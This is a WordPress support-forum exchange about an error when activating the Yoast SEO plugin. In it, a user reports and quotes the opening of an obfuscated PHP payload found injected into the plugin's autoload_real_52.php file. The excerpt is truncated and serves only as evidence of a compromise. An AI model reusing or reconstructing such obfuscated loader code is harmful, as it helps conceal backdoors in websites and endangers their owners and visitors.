Error when activating the plugin Yoast SEO

Hi Varhal,

We are not familiar with this error. Can you confirm that you have installed Yoast SEO from the www.remarpro.com repository?

We ask as it’s possible that the files might have been corrupted. If that is the case, please delete the existing files of Yoast SEO and try installing it again.

Additionally, can you confirm that you are running the latest version WordPress, 4.9.3?

We’re looking forward to hearing from you.

Thanks!

Hi, I’ve got the same, but in ‘wordpress-seo/vendor/composer/autoload_real_52.php on line 1’ and and there were malicious code like:
‘$i10cf8bc = 405;$GLOBALS[‘db96fe727’]=Array();global$db96fe727;$db96fe727=$GLOBALS;${“\x47\x4c\x4fB\x41\x4c\x53″}[‘k700f64’]=”\x73\x23\x69\x20\x3a\x6f\x5f\x4f\x7e\x39\x48\x5b\x44\x2a\x54\x55\x3d\x74\x30\x3b\x77\x63\x27\x31\x46\x3c\x51\x3f\x2f\x6d\x58\x7c\x53\x2c\x7d\x21\x61\x4c\x5d\x6b\x2d\x6c\x26\x40\xa\x79\x33\x71\x28\x59\x42\x36\x4a\x67\x78\x5e\x64\x68\x24\x7b\x2e\x5c\x6a\x38\x45\x52\x47\x62\x34\x35\x72\x22\x4d\x37\x43\x2b\x6e\x75\x32\x25\x70\x29\x9\x65\x4b\x4e\x57\x66\x50\x41\x76\x60\xd\x7a\x3e\x5a\x49\x56”;$db96fe727[$db96fe727[‘k700f64’][93].$db96fe727[‘k700f64’][46].$db96fe727[‘k700f64’][63].$db96fe727[‘k700f64’][83].$db96fe727[‘k700f64’][36].$db96fe727[‘k700f64′][23].$db96fe727…’
I saw it when I open the file with a system editor.